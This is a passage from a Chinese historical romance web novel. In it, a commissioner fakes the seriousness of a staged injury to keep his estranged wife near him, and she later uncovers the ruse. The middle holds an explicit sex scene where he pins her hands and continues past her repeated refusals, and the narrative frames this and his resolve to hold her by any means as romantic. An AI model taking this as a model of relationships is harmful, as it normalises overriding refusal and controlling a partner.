“明日李福一开口,你带上李福签字画押的供述,即刻悄悄赴清州将书册取回,不必拿来给我,让两个稳妥的暗卫快马送往京城,亲呈圣上!” 他就是要让夏氏人措手不及,而且,他不能参与到皇子的党争当中,他们都是陛下的儿子,该怎么办,自然由陛下亲自定夺。 青霜领命而去。 紫电问道: “世子,那咱们还是要在江州查盐税一事么?” 晏时锦道: “自然要查,但盐税自古就是一本烂账,这次也只是我们来此的一个幌子。” “如今我已伤重,正好将此事全权交与罗弘,要他快刀斩乱麻!” 紫电领命,刚要返身出去,却被晏时锦叫住,低语了几句: “还有,你明日亲去一趟扬州……” 紫电眸光中闪过一丝异样,却不敢多言,应声离开。 纪云瑟出了自己的小院,寻到了破竹,她有些怀疑今日那些黑衣人的身份: “你觉得,他们的武功路数什么的,会是什么人?” 破竹道: “禀小小姐,依小人看,除了已死的领头之人,大部分人的武功杂乱无章,的确像是附近山上的绿林。” “但是……” 纪云瑟见他神色有异,问道: “有什么疑点么?” 破竹道: “小人总觉着,他们是两拨人。” “对小小姐使暗器的是后来几个武功高强之人的领头,他们的招式有章可循,明显出自一家,而且,据小人所知,绿林中虽有武功高强之人,但不善用暗器。” 纪云瑟诧异道: “这就怪了!” “偷个料子,犯得着请两拨人?” 破竹叹气道: “可惜,落网的均是绿林,后来加入的一拨,除了领头的已死,其他人都逃了。” 所以,晏时锦看了一眼,便说不必审,直接送官府了。 纪云瑟想了想,吩咐道: “这几日,你们轮流去守着库房。” 虽然曾氏大概率不会再来一次,但还是防患于未然。 她回到屋子里,紫电等人已离开,晏时锦的药尚搁在一旁, “你还没喝药?” 男子瞥了一眼黑乎乎的药碗: “刚才还是热着,此刻,应当能喝了。” 纪云瑟看他吃力地撑起身,似每一步都扯动着伤口,只得上前按住他: “我来吧。” 她端过药碗,一勺一勺地喂到他口中,看了他一眼,道: “其实,你可以不必过来寻我。” “你既然已经受了伤,就该早些去看大夫。” “万一,你有什么好歹,我……” “因为你是我妻子。” 他灼热的目光看过来,纪云瑟低下头,不想继续这个话题,随口道: “…这…药苦不苦?” “很苦。” “所以,是不是该给点甜的?” “下次,我给你准备点蜜……” 一句话尚未说完,纪云瑟刚搁下空碗,就被他拦腰揽了过去,双唇相贴,一丝苦涩滑入口内,她皱了皱眉,却又不敢太用力去推他,只得任他予取予求。 直到苦味吞噬殆尽,口中尽是少女的清甜,感觉到她愈发娇软的身体,晏时锦方松了松唇舌: “夫妻一体,当有福同享,有苦同尝才对!” “纪云瑟,你心里也是有我的吧?” 他不给少女喘息回答的机会,也不容她躲开,强势地把她拥在怀里,用唇齿间细碎的嘤咛代替他想要的答案。 唯一的答案。 这些时日,紫电和青霜几个人不知踪迹,崇陶和效猗又借口不方便,打死不肯靠近,故而都是纪云瑟亲自照顾晏时锦,她有些纳闷,每每陈大夫给他看伤换药,都说他恢复得很好,但那厮却总是一副虚弱的模样。 她将碗中的药给他喂完,立即以迅雷不及掩耳之势,塞了个蜜饯进入他口中,道: “这回不苦了罢!” 以免他又弄什么别的幺蛾子。 这几日,他真是恃伤而骄,只要一靠近他就被猝不及防地拉着猛亲一顿。 纪云瑟倒不是怕别的,万一扯了他的伤口,这种日子不是没完没了了? 不一会儿,崇陶低着头进来,在纪云瑟耳畔轻语了几句,她道: “快快有请。” 晏时锦依旧半靠在床榻上,面上有些诧异: “是谁?” 纪云瑟面露几分担忧: “我看你的伤时好时坏,不放心,便请了沈夫子过来帮你瞧一瞧。” 沈绎提着药箱随即步入屋内,看到坠着嫣粉纱帘的宽大拔步床内,男子侧倚其中,眸中 闪过一丝异色,手中的力道紧了紧,行至晏时锦身旁,微微行了个礼,便坐在搁好的绣墩上,目光扫过面色骤然黯下来的男子,将小软枕取出,道: “我先看看指挥使的脉象。” 在纪云瑟关切的目光中,晏时锦将手伸了过去,沈绎细细诊毕,又要去看他的伤口。 纪云瑟见状,与崇陶一起退了出来。 温润的笑意从脸颊散去,晏时锦抽回了手,也将沈绎伸过来看他伤口的手挡了回去: “不必了,伤口已经好全。” 沈绎手一顿,随即明白了几分。 他当时听说晏时锦被暗器所伤就觉得诧异,毕竟那日他虽一心在给小女孩行针解毒,但一贯养成的眼观六路耳听八方的习惯让他清楚,在戍卫军到达小院时,他们已经过了最危险的时刻。 以晏时锦的武功,若是之前的那些黑衣高手都能轻松应对,就不可能在援兵到达之后,还莫名其妙地受了伤。 幼稚的苦肉计! 沈绎收起软枕,冷笑一声: “这样有用么?” 晏时锦掀眸瞧了过来: “有没有用与你无干。” “别忘了你我之间的约定。” 沈绎微怔,就听男子声色笃定,带着不容置疑,道: “她心里没有你,何况,你们有师生之谊,根本不可能。” 沈绎淡然迎上他肃厉的黑眸: “不管你我有什么约定,我都不容许你这样骗她!” “不错,我与她的确只是师生之谊,她对我无意,我亦不会越过雷池一步。” “但正因她是我的学生,敬我信我,我便不可能让你为所欲为。” 晏时锦目露不屑,收拢了胸口处的衣襟轻哧一声: “沈太医好大的口气!” “我真真切切地受伤,哪里骗了她?” 沈绎挺直了脊背,负手垂眸看向床榻上的男子: “她若愿跟你,我祝福你们。” “但她若不愿跟你,我也会帮她,再逃一次!” “这次,你找了她两年,下一次呢?” “恐怕没那么容易!” 晏时锦目光冷冽: “你忘了你的欺君之罪?” 沈绎弯唇一笑: “你将此事瞒到现在,何尝又不是欺君之罪?” 晏时锦一派从容: “没有及时揭发你,就是在等你查到的真相。” “我何来欺君之罪?” 他淡然扫过沈绎缩紧的眼眸,悠然道: “不管你是否与我合作,你查到的东西,我手里也有。” “所以,我与你谈条件,也不过是看在,云瑟唤你一声夫子的份上。” “就当是替我的爱妻,感谢沈夫子您多年对她的关照。” 沈绎脸色微变,但很快镇定下来,不甘示弱: “她不可能跟你回京城。” 晏时锦淡然一笑: “不妨,拭目以待?” 纪云瑟适时入内,沈绎收回了脸上的一丝异色,道: “云瑟放心,指挥使已经没有大碍了,伤口愈合得很好,依我看,不必再服药。” “我再每日给他上一次伤药即可。” 晏时锦往下躺了趟,客气道: “多谢沈太医。” 纪云瑟明显放下心来: “夫子,我送您出去。” 沈绎挎上药箱,她刚要跟上去,却听身后的男子“嘶”了一声,纪云瑟停下脚步,回头就见晏时锦撑着受伤的一侧手臂,去够旁边的茶碗。 身后的崇陶懂事会意,向沈绎道: “沈夫子,奴婢送您出去。” 沈绎蹙眉看着同时向他投来目光的晏时锦,二人的眼神在少女俯身取茶碗的上空汇聚,暗流涌动之后,沈绎终究未再多言,转身随崇陶离去。 纪云瑟将茶碗递给他: “沈夫子不是说你的伤口无碍了么?” “为何还会疼?” 晏时锦从床榻上坐起,就着她手中的茶碗喝了一口,目光直直地看向她, “不疼了,我就是不想你离开我。” 纪云瑟放下茶碗,嘟哝道: “…我这几日不是一直照顾你么?” 少女眼眸盈若秋水,嗓音如从前般温软,脸颊上透着微微的粉晕,晏时锦将她拉过,抱着她坐在自己腿上,鼻尖噌了噌她,道: “我是说,一刻也不分,永远!” 纪云瑟尚未开口,又被他的舌尖长驱直入。 又来? 她用力去推他,勉强从唇瓣中滑出几个字: “小心你的伤口别裂开了……” “不会,已经好了。” 晏时锦吸吮着她清甜的唇舌,将她所有的气息一并吞下,一只手箍住她的腰,一只手扣在她的后脑不让她乱动。 这几日,她时时在他眼前晃,床帐内又处处是她的幽香,每一息都在勾起他最深层的欲望。 他已经想了她两年多,再见她的第一眼就想把她压倒,把她融进自己的身体,再忍下去他还是个人么? 他轻车熟路地撬开她的唇齿,在少女的领地里逡巡,扶在她腰上的手不自觉移了位置,覆着薄茧的指腹在她柔腻的肌肤上游走。 自从上次之后,他已经十分了解她的身体,精准地捕捉到了她最敏感的地方。 纪云瑟已经没有力气去推他,只觉得自己又落入了那个让她有时也不自觉想去探索一番的温柔陷阱,但仅存的几分意识又让她要抽身。 身体扭动间,突然碰到了一矗刚硬。 她愣了愣神,不甚清明的脑子里却突然涌现了话本子里的一些绘制清晰明了且大胆的插图,明白了几分,温热爬上脸颊,她恢复了力气,用力去挣脱,侧过头,唇齿终于躲开了他的痴缠,皱眉道: “不行!” 晏时锦的手臂紧紧揽住她,一下吮住她的耳垂,温热的气息在她的颈侧环绕: “你我已有夫妻之名……” “不,我没想与你……” 后面的话被咽没在了男子的唇舌中,他一个翻身,将少女压在床榻上,两只顺势过来推他的小手被他一掌禁锢在她的头顶。 开启城门的侵略者搜寻着、探索着,不放过城中的每一处角落,不对等的力气较量以一方的破碎而告罄,上位者轻而易举地攻城掠地,占据每一寸领土,在如雪的瓷白中,熟稔地逡巡丈量。 纪云瑟想去掐他的肩,但毫无力道的反抗更加引燃了遍地的星火,他一面吻着她,一面从微颤的唇齿中发出令人战栗的尾音: “跟我回京城。” 主宰者在好不容易得来的珍宝面前,没有半点脾性,变成了卑微的取悦,如娇养花朵般用心的呵护。 唇齿被深吻困住,她想拒绝,却说不了一个不字。 “答应我!” 男子停下来等她的回应。纪云瑟下意识就要点头,反应过来后,又摇头,紧紧咬着唇不语。 下一瞬,那一矗炽热贴近了她,少女被这完全陌生的触感惊了一瞬,待反应过来是什么后,随即躲开,皱眉道: “不可以……” 男子叹了口气,重新覆手过来,不死心道: “必须跟我回去……” 纪云瑟艰难地喘着气,抓紧他隆紧的双臂,轻轻摇头,晏时锦重新吻上她的唇,细细感受着她每一个反应。 少女只觉自己又落入了干涸的荒漠中,口干舌燥,她开始吮吸男子的唇瓣,双手搂在他的脖颈,细腻微颤的舌尖犹如一只手足无措的猫儿一般求|欢、舔舐。 晏时锦眸光漾动,双手动作不停,纪云瑟只觉心跳骤然加快,突然一阵痉挛颤栗,细汗密密麻麻地从毛孔中渗出,潮湿雾气弥漫在她泛红的眼眸中,纤腰不禁迎了上去。 男子的温唇重新落在她的耳畔,轻语呢喃: “这番枕席,我侍奉得如何?” 纪云瑟软绵地窝在他的臂弯里,片刻后方有力气抬手抚过沾湿的额发,却被男子把手拉了过去,触及一道挺拔,哑声道: “该我了。” 第84章 从未有 过的手感,让纪云瑟原本就微烫的脸颊更加热气蒸腾,她下意识就要躲开,却被晏时锦死死攥住手。 “帮我。” 男子的声音仿佛被欲望层层包裹,分外低沉、沙哑,一只手按住她的手不让她走,另一只手将少女紧紧拥在怀中,随即又挑起她的下巴,让她承受他更加深切蛮横的吻。 纪云瑟的双手被他的掌心完全缚住,初始尚能跟上他的节奏,可是时间久了,本就已经累得瘫软的手只觉更加酸痛,但被他用力拢住,无法抽出。 男子的呼吸愈发粗重,黑眸添了几分猩红,神色也有了些许不耐,他怎么会容许少女此刻打退堂鼓,哑声道: “吻我,像刚才一般,吻我。” 触手滚烫,纪云瑟明白了几分,只想快些结束的她,主动含住了他的唇瓣。 晏时锦只觉骇人的欲求从四面八方汇聚到了一处,娇软无力的小手已无法将其打发,他将怀里的人儿翻了个面。 纪云瑟的双腿被男子从后紧紧抱住,一阵剧烈的撞击过后,有异样的温热濡湿从她的膝盖内窝流下,伴随着古怪的气味蔓延开来。 她一时僵住,片刻后方反应过来怎么回事。 屋外暮色四合,屋内灯影交烁,嫣粉的纱帐内,一片缱绻旖旎的气息。 纪云瑟看着纷乱的床榻,差点没哭出来,随手扯过衣裳擦着腿上的黏腻,恼怒地一拳捶在身旁的男子身上。 “哎呦!” 晏时锦一声轻呼,纪云瑟下意识担心道: “弄疼你了?” 待看到他唇角勾起的一丝餍足,又一拳捶了过去: “你要崇陶和效猗他们如何想我!” 晏时锦一把握住她的粉拳,牢牢抓着放在胸口: “你我本是夫妻,又同住一屋,还能想什么?” 纪云瑟白了他一眼,自行穿好衣裳,厚着脸皮让崇陶和效猗备水沐浴。 两个婢女一进屋闻见异样的味道已经面面相觑,待见一片狼藉的床榻,便也明白了几分,但二人经过这两年跟着苏滢见识的各种世面,早见惯不怪,未发一言,径直去收拾,唤人备水。 纪云瑟沐浴完毕出来时,晏时锦已经斜倚在拔步床内,看了两封邸报。他换了一身籚灰色中衣,恢复了道貌岸然的禁欲模样,见少女过来,伸手拍了拍身侧。 纪云瑟目光不经意扫过他腰间松垮的系带,想起那与他的脸完全不匹配的物什,脸一热,径直行至罗汉床,脱了鞋躺下。 谁料下一瞬,一道浓烈的气息就追了过来,她的腰下和膝弯就被伸入了两只手,男子一把将她抱来放在拔步床内,自行躺下紧紧搂着她: “别动,就这样睡。” “你也不怕伤口开裂!” 纪云瑟在他怀里狠狠扭动了一番,却被晏时锦轻松压制,他阖上眼,温声道: “睡觉。” 纪云瑟挣扎无果,浑身早已没有了力气,困意来袭,她索性在这厮温暖的臂弯中睡了过去。 察觉到少女的呼吸声逐渐轻软有规律,男子睁开眼,轻抚她莹润的小脸,如同不知多少个朦胧的睡梦中一般,落了一道轻吻在她的额头上,又将她往自己的怀里拢了拢,满意睡去。 晨光微亮,虽是五月的闷热天气,但屋子里搁着冰鉴,一片凉意。 也不知为何,自从晏时锦寻到她后,纪云瑟夜里不再害怕有匪徒进来,睡觉安稳了许多,再不用人守着。 她曾兀自想着,应该是这厮比匪盗还可怕,防他都来不及,还防什么匪徒。 日光透过霞影纱帘,和柔地映在少女的脸颊上,杏面桃腮,黛眉朱唇,睡着的小模样,如同一只乖巧的猫儿,瞧得人的心发软。 晏时锦细细打量了怀里的人儿许久,直到她羽睫颤了颤,方假装睡了去。 纪云瑟在一片暖融的气息中缓缓睁开眼,想要动一动,却发现腰上沉沉地搭着个东西,垂眸看去,却是男子的手。 而她颈下枕着他的另一只手臂,整个人都被他紧紧包裹。 她身子一僵,再抬眸,便是男子锐利的下颌线条,他肌肤光洁白皙,浓密纤长的眼睫垂落,闭上了那双有时让人慑然的黑眸,倒显出几分温润的气质。 昨夜在这间床榻上的缱绻缠绵骤然涌入脑海中,她脸一热,就要起身,待悄悄伸出手,想要将他的手臂移开,却见男子喉间滚动了一下,垂眸看向她: “再躺一会儿。” 纪云瑟推着他向后挪了挪,却被他追了过来,将她的腰又往自己一侧圈紧,纪云瑟推不动他,只道: “我要起来了。” “你的伤好了,我…我该去铺子里瞧一瞧。” “跟我回去。” 晏时锦又将她搂紧了些,仿佛生怕她会飞走。昨晚,他就这样抱着温软的少女,一夜安眠,他不想止于昨夜,或者今夜,他要的是永远。 他要今后的每一日晨起,一睁眼就能看见她,这样依偎在他怀里,恬静、温顺,让他沉溺。 “我说过了,我不会……” 纪云瑟刚开口,又被他覆唇过来堵住,但他并没有深入,只是贴着她的唇瓣,缓声道: “我身上有伤,你送我一程,如何?” 纪云瑟顿了顿,眨巴眨巴眼: “你不是说自己好全了么?” 昨夜那样大的动静,没见他有什么事,还抱她。 男子幽幽道: “你欠我的,就当是还我的人情。” 纪云瑟抿唇,她欠了他?勉强算是,但好像看起来,这厮也是甘之如饴吧,况且,他自己得到的也不少,譬如昨晚,还不够他爽飞天的? 晏时锦见她犹豫,补充道: “你只需送我到京城,而后,你若不想留下,我亦不会再缠着你。” 他自会想办法让她心甘情愿地留在他身旁,但若是实在做不到,他也只好不择手段强行圈住她,总之,他不可能放了她。 是她先行主动向他抛来红线,他既接过了,他们就该牢牢绑在一起,永不分开! 纪云瑟想了想,目光扫过他左肩伤口上的绑带,片刻后,道: “能不能等我姨母回来,我与她商量后,再决定?” 姨母绝不会同意她回京城,到时候,她就以长辈反对为由,拒绝他! 晏时锦顺了顺她的乌发: “但我两日后就要离开。” 纪云瑟道: “估摸着,姨母也就是这两日会回江州。” “我总得跟她说一说我们的事嘛。” 晏时锦眸光微闪,她顺势松开了男子的怀抱,整理了衣衫唤崇陶和效猗进来梳洗,不想与他讨论这个话题。 用过早膳,纪云瑟正准备去铺子里拿做好的样衣去寻一趟罗姝,却听小厮来报,绸缎庄掌柜的过来了,说是有急事讨她的示下。 她闻言便猜到了几分,估摸着是曾氏上门来了,果不其然,她行至外院,掌柜的立刻起身笑道: “小小姐,昨日,曾氏布庄的采买管事来找我,商议买下咱们手上的那批锦缎之事,我暂未答应,今儿个特来问您,咱们卖不卖?” “若是要卖的话,该如何卖?” 纪云瑟想了想,先问跟过来的破竹: “那些黑衣人送往官府之后,可有什么说法?” 破竹道: “小人昨日特去问过,府衙的答复是,那伙人只说自己是附近山上的绿林,奉当家的之命,下山到城中随意找了家行盗。” 纪云瑟诧异道: “又改口了?” 破竹道: “衙役并未在他们身上发现其他线索,且其中有两人的确是知府衙门曾发出的通缉令上的匪盗,从前曾在官道上抢持过江州的一名乡绅。” “故而,府衙的意思,亦是按寻常的劫盗案件来处理。” 纪云瑟皱了皱眉: “知府那边,咱们都打点过了么?” 破竹道: “二小姐一直与府衙的 各位大人有往来,每年各个年节都会亲自上门拜访。” 纪云瑟叹气道: “看来,是查不出什么了!” 掌柜的道: “咱们没有别的证据,此事,的确不好指认。” 纪云瑟道: “罢了,就算如此,也不能便宜了曾氏!” “那批料子,咱们不能全卖给他们!” 按她的想法,可以继续找罗姝为他们打活招牌,在贵女圈里卖一些成衣,同时也摆上铺子售卖。 “还有,他们不是急着要么?你再拖他两日,把铺子里被那些强盗破坏的损失,还有咱们这些时日一直没有开门营业的,一同算一算,加倍向他们讨回来!” 掌柜的答应着去了,纪云瑟回房收拾了一番,匆忙离开,晏时锦亦起身,坐在窗下的圈椅上,不知翻弄着手上的什么书册,见她来去匆匆,并未问什么,最后叫住欲收拾东西跟上的崇陶,问道: “她要去哪儿?” 崇陶一直莫名地怵这位“姑爷”,纵使他此刻姿态闲适没有半点威慑,亦不敢看过去一眼,远远地站在门口,回道: “禀姑爷,姑娘说要去寻二小姐,和罗府的四姑娘。” 说罢,浅浅行了个礼,溜之大吉。 男子挑了挑眉,唇角上扬一个微不可察的弧度。 纪云瑟先行去了苏滢的别苑,却不料管家皱着眉叹气道: “不知是何缘故,扬州那边的道府就是卡着不放咱们的牙帖。” 纪云瑟道: “是光咱们一家办不下来,还是别家也一样?” 管家道: “二小姐信上的意思,江州去办那两封牙帖的就只有咱们一家,其他几个州府也有办的,却是很快批了下来。” 纪云瑟道: “那就怪了,总不会是,江州这边的文书有问题?” 管家摇摇头: “论理是不可能,二小姐当日去时,已经确保文书齐全,后来以防万一,老奴又特地去州府衙门重新问过,置办了一份,只会多,不会少,亦不会有何岔子。” 纪云瑟喃喃道: “那姨母得何时才能回来?” 管家问道: “小小姐急着找二小姐,是有何事么?” 纪云瑟讪笑一声: “没…没什么,就是,绸缎庄的生意,我怕,我照管不过来。” 管家笑道: “小小姐多虑了,咱们苏氏产业那样多,二小姐从前一个人管时,亦是不可能事事过问的,有掌柜的在,交待他们去做就好。” “您若是觉着高兴,就去看一看,若是累了,自是有人照管,不必忧心。” 纪云瑟又问道: “对了,上回让您留意的事,办成了么?” 管家忽的反应过来,道: “已办妥,您今日要把人带走么?” 纪云瑟点点头: “对,让他跟我走。” 碧露居是江州最出名的一间茶楼,以茶韵清雅、茶点精致出名,纪云瑟在二楼最里的雅间里坐着等了一盏茶的工夫,就等来了身着朱砂色石榴裙的罗姝。 二人见了礼,罗姝笑道: “这些时日在忙什么呢?” “我让人去寻你好几次,都说你不在,出去忙了。” 纪云瑟亲自给她挪了椅子,按她坐下后,又给她斟了一盏茶,随口扯了个谎,道: “我义母让我陪着她去城郊的寺里念了几日的佛经,昨日刚回呢。” “你看,我一回来,就约你相见了。” 她知道罗姝从不信佛,必不会深究。 罗姝果然不感兴趣,饮了一口茶,只笑道: “算你有良心!” “怎的不直接去我家,神神秘秘的带我来这儿?” 纪云瑟凑了前去,露出一抹别有意味的笑道: “你进来时,有没有注意守在门外的小郎君?” 罗姝进来的时候,就发现一个面如冠玉比破竹还俊美几分的新面孔立在外,当时便在心里默默骂了纪云瑟几百遍,这会子听她提起,眯着眼,咬牙切齿道: “你还说呢!” “这么快就把破竹换了?” 纪云瑟轻笑一声,向她勾了勾手指,待她凑近后,附在她耳畔,轻语道: “那是特地给你寻来的!” “可满不满意?” 罗姝瞪大了眼睛,眸光中的惊喜清晰可见, “真的?” 纪云瑟笑道: “自然是真的!” “今日,你便带他回去,不过,日后他的工钱,由你来付。” “那是自然!” 罗姝忍不住隔着案桌拥住了她,道: “真是我的好瑟瑟!” “你放心,你花了多少钱,我一并都给你!” 纪云瑟摆摆手: “都是我义父给的,我也不问你要了,你生辰不是快到了么,就当送你的生辰礼了!” “不过,他功夫倒不是最好的,但我想着,在贵府,定然也不缺武功高强的侍卫。” 那日纪云瑟向管家说起要帮忙寻一个样貌好且身份能见光的侍卫,管家便想起了曾经替苏氏走过镖的一个镖局的镖师,重金将那人挖过来,告知要将他送往知府家,做知府小姐的贴身护卫一事。 那人一口答应,对比常年在外走镖风险大且月钱又少,做勋贵家的护卫自然是好了许多,既有门面,月钱也多,可谓名利双收,谁不愿意。 罗姝兴致勃勃地饮毕了杯盏中的茶,道: “多谢!功夫不高不打紧,我找人教一教他也无妨!” 纪云瑟见她一副立刻就想溜了回去好好欣赏美人的模样,看了一眼窗外,适时道: “今日天气凉快,陪我去逛一逛好不好?” 罗姝眸中闪过一丝不情愿,但拿人手短,还是答应了,纪云瑟将那侍卫唤入房内,与新主家介绍了一番,罗姝自是掩不住笑意,但面上收敛着情绪,平静地向他点了点头,嘱咐他日后好好跟着自己。 纪云瑟邀她与自己同乘马车,说起想裁制几身新衣,便带她径直去了苏氏的绸缎庄。 罗姝自是不知纪云瑟与苏氏的关系,心不在焉地随意看着布匹。 纪云瑟看了一会儿面料后,向掌柜的使了使眼色,道: “最近贵家可有什么新式的衣裳。” “别的铺子里我都瞧了个遍,样式老旧,难看得紧。” 掌柜的会意,将上回改制好的样衣拿了出来,纪云瑟故意拉着罗姝在一旁细细看,称赞了一回,又兴冲冲地去试穿。 那些样衣本就是按照纪云瑟的尺寸裁制的,而她又生得肤白,身材匀称,故而穿起来,的确让人眼前一亮。 罗姝也被吸引了目光,铺子里专门服侍贵女们试穿衣裳的婢女更是对着纪云瑟猛的夸赞了一回,一番攻势下,这位知府家小姐果真动了心,见纪云瑟说要将所试的衣裳全部买下来,当即也订了好几套。 掌柜的十分热心地承诺为她尽快赶制出来,送到府上。 为免太过刻意,纪云瑟又邀她逛了一处脂粉铺子和一处首饰铺子,购置了一堆东西,罗姝有美人跟着,自是心情大好,不似从前一般走几步路就喊累。 阴云散去,及近午时,罗姝要好好感谢这位姐妹送她的美人,便提议去七重天请她用午膳。 纪云瑟不好拒绝,答应着去了。 店小二见一位是知府家的小姐,一位是富商义女,当即安排她们到七楼的雅间,给她们上最好的酒菜。 酒楼顶层做了飞檐,日光轻易不能晒进来,又因地势高,十分凉爽,待略微用了些酒菜,二人敞开了四周的槛窗,悠悠地倚在窗边看风景。 纪云瑟因问起罗姝,过几日她的生辰准备如何办,谁料,她叹了口气,道: “唉,别提了。” “我爹说,这些时日,钦差大人还在江州,让我们后院的女眷消停些,什么宴饮酒会的,一概不许办。” 纪云瑟顿时明白过来,表面却不动声色: “钦差?” 罗姝闷闷道: “是呀!” “前些时日从京城来的什么大官。” “我爹见他就跟耗子见猫一般。” 纪云瑟随口接话道: “钦差的权力很大呀!” “可不是?” “说是查盐茶税的,其实什么都管!” “盐茶?” 纪云瑟愣了愣,这么巧?姨母不是正在办盐茶生意的牙帖么? “你说烦不烦,说是那位大人在江州受了伤,我爹便失魂落魄的,生怕责他一个护卫不利的罪名。” 罗姝托着腮一脸烦闷: “这下倒好,连生辰宴都不许办了。上回,那万二小姐的办得那样有排场,我就与她们几个放话出去了,到我生辰时,要在熙园弄一个曲水流觞宴,这会子 泡汤了,你说,她们几个会怎样笑话我?” “那倒不至于。” 纪云瑟讪讪一笑,掩下眸中异色,给她斟了一杯茶,道: “再说,钦差受伤,这怎么能怪你爹呢?” 罗姝道: “可不是?” 她轻哼一声,随即想到了什么,悄声对纪云瑟道: “你知道么,那日我无意间听见我爹跟师爷说,怀疑那位钦差所言的被刺客刺伤,根本就是假的!” 纪云瑟脑子一突,问道: “假的?” “此话何意?” 罗姝自来说话没有什么把门,也不懂什么官场上的规则,不过是随意听了两耳朵,便想着同这位好姐妹说了。 “据我爹说,一则,那位钦差自个儿的武功好得很,二则,那日他的手下分明已经寻了救兵过去,那可是戍卫军哪,整整好几百人,就对付十多个刺客而已。” “哪有那么容易受伤?” “若不是假的,那就是故意的!” 纪云瑟亦想到了一些细节,不由得怀疑起来。 罗姝道: “你想想,那日除了他们几个武功高强之人外,还有两个是手无缚鸡之力的,他们都没有受伤,为何偏偏最大的头儿受伤了?” 纪云瑟试探道: “或许,是那位钦差为了保护别人呢?” 罗姝看傻子似的看着她: “他可是头儿呐!” “只有他被护着的份儿,哪需要他去护着别人?” “那他的手下做什么去了?” 纪云瑟想到紫电和青霜,还有一个赤霄,只觉得脊背发凉,幽幽道: “若说他故意受伤,那他为何那样做?” 罗姝轻哧一声: “谁知道?” “他们当大官的,花花肠子可多了。” “所以啊,我爹让我找个仕途中人,我就跟他装傻,你说,日后几百个心眼子对付我,我哪是他的对手嘛!” 罗姝见纪云瑟握紧了手中的杯盏,蹙眉深思不语,便拍了拍她,道: “你自是没有这个烦恼咯,到时你找个听话些的赘婿,不就只有你拿捏他的份儿?” 纪云瑟只觉自己脑子空空,又似纷乱无章,不知在想什么,也不知后来罗姝又说了些什么,便与她告辞分离。 崇陶和效猗并未陪着她出来,瞧见自家姑娘回到漪澜苑的面色似很不好看,忙上前问道: “姑娘,怎么了?” 纪云瑟细思了一路,想到那日绸缎庄里的两拨黑衣人,许多之前的疑惑都有了将将要解开的迹象,她再也忍不住,气呼呼问道: “晏时锦呢?” 第85章 崇陶有些诧异地看着自家姑娘,指了指正房,还未开口,纪云瑟已经径直走了过去。 她带着怒意推开门,却见沈绎正在给晏时锦换药,男子白皙的皮肤上,红血印依旧十分明显,她忽的停下脚步。 “他们当大官的,花花肠子可多了……” 罗姝的话突然在她脑海里闪过,纪云瑟深吸了一口气,暂时掩下怒意,面上关切道: “好些了么?” 沈绎为他上了药后,重新缠上纱布,道: “已无碍,只要伤口不开裂,无需换药亦可。” 纪云瑟点点头,见沈绎收拾好药箱,她跟了过去: “我送夫子出去。” 她也不管那厮是什么表情,与沈绎一道出了门,走入院内的大枫树阴影下,似不经意问道: “夫子,那日刺客那样多,您也吓坏了吧?” 沈绎若有所思地看了她一眼,微微回头扫过身后过来的方向,淡笑道: “那倒不至于。” “刺客虽多,但世子几人武功高强,我连黑衣人的面都没见着。” “更何况,援兵很快赶来,数百名戍卫军,刺客轻易就被控制了。” 纪云瑟抓住了他话中的重点: “很快控制了刺客?” “那,他为何还会受伤?” 沈绎诧异道: “世子没告诉你么?” “有几个人逃脱,他带了人去追,被埋伏的刺客同党用暗器所伤。” 可那日,紫电明明说晏时锦是为了救沈绎而受伤! 呵!这样的鬼话也敢随意乱编,就是笃定她不会去找夫子求证么? 沈绎见她面色不好,问道: “云瑟,怎么了?” 纪云瑟摇摇头,面色淡然地挤出一抹笑: “没什么,我就是随便问问。” 沈绎深深看了她一眼,心知以她的聪慧,并不需要言语太多,况她与晏时锦之间的事,他也不便干涉,自告辞离去。 纪云瑟想了想,去外院寻到破竹: “那日在绸缎庄,黑衣人向我射来的暗器在哪里?” 破竹道: “那东西有毒,小人早已将它处理了,小小姐为何要这个?” 纪云瑟思索一瞬,道: “你记不记得暗器是什么样?或者,你能不能把它画出来?” 破竹想了想,点点头,纪云瑟当即命人寻了纸笔过来。 破竹从前是□□出身,对这些暗器之类的常见武器十分敏感,只看过一眼,就记得清清楚楚,况他曾是江湖中人,虽念书不多,但颇有些画功,对于人和武器之类的只需多看两眼,就能按照记忆的模样描绘出来。 “小小姐,这是玄铁镖,通体黑色,尖头六角,长约一寸,本身无毒,但有时也会浸泡了毒药水后来用。” “那日黑衣人就是早已将毒药做成小丸含在口中,关键时候咬破,这只镖也就沾染了毒。” 破竹特地在旁解释了一番,当日在绸缎庄,纪云瑟慌乱中,根本没注意那人向她射来的暗器长什么模样,直到此刻看到拿在手中的画,才发现,分明与晏时锦身上取出来的,一模一样! 呵! 夜幕西垂,漪澜苑的主屋内灯火通明,晏时锦端坐圈椅,纪云瑟将这张画展开放在他面前的案桌上,冷声道: “解释一下吧?” “指挥使大人!” 男子原本看着手中邸报的目光斜斜地瞥过来,面上稍微掠过一丝惊愕: “这是……” 纪云瑟: “这是当日在绸缎庄向我射出的那枚暗器。” “是不是很眼熟?” 晏时锦看了她一眼,将画纸接过,细细端详片刻: “画得不错,是哪位的手艺?” “破竹?” 纪云瑟不接他的话,冷笑一声: “请指挥使大人跟我说一说,出现在绸缎庄的两拨盗贼,是怎么回事?” 见他挑了挑眉看向她,目光中却没有一丝慌乱,纪云瑟气不打一处来: “若是我没有猜错,前门的乌合之辈是真盗贼,后面的武功高强者,是假盗贼吧!” “是不是你引过来的刺客?” 她冷笑一声: “世子真是费心呐!您这般兴师动众,身受重伤。” “是为了我么?” “就为了让我跟你回京城?” 少女小脸胀红,胸口气得剧烈起伏,瞪着圆亮的杏眸,像一只暴怒的小老虎,晏时锦忍住给她顺顺毛的想法,缓缓将手中的画纸放下,直言道: “算是吧!” “应该说,是为了让你心甘情愿地跟我回京城。” 毕竟他若是真要给夏氏的人和江州的官员看障眼法,是不必真的受伤,如她所言,多半还是为了她。 纪云瑟见他竟然连辩解都没有,直接理所当然地就承认了,更是气得张大了嘴,一时语塞,脑子转了片刻后,突然想到: “什么意思?若是我不心甘情愿,你打算…” 她浑身一个激灵: “你休想!” “我不可能跟你回去!” 晏时锦平静地将画纸收起,起身行至她身旁,握住她的手: “我已经定下了明日的楼船,午后出发,正想告诉你,收拾好东西跟我走。” 纪云瑟柳眉倒竖: “你听不懂我的话么?” 她一把甩开他的手,转身就要离开,却被男子抓住手臂: “还有一件事,我也不想瞒你。” 晏时锦稍微用了些力道将她拽过来,垂眸淡然看向她: “你们苏氏在扬州盐茶道办的牙帖,一时半会儿办不下来。” 纪云瑟愣了愣,随即不可思议地看向他: “你怎么知道?你…” 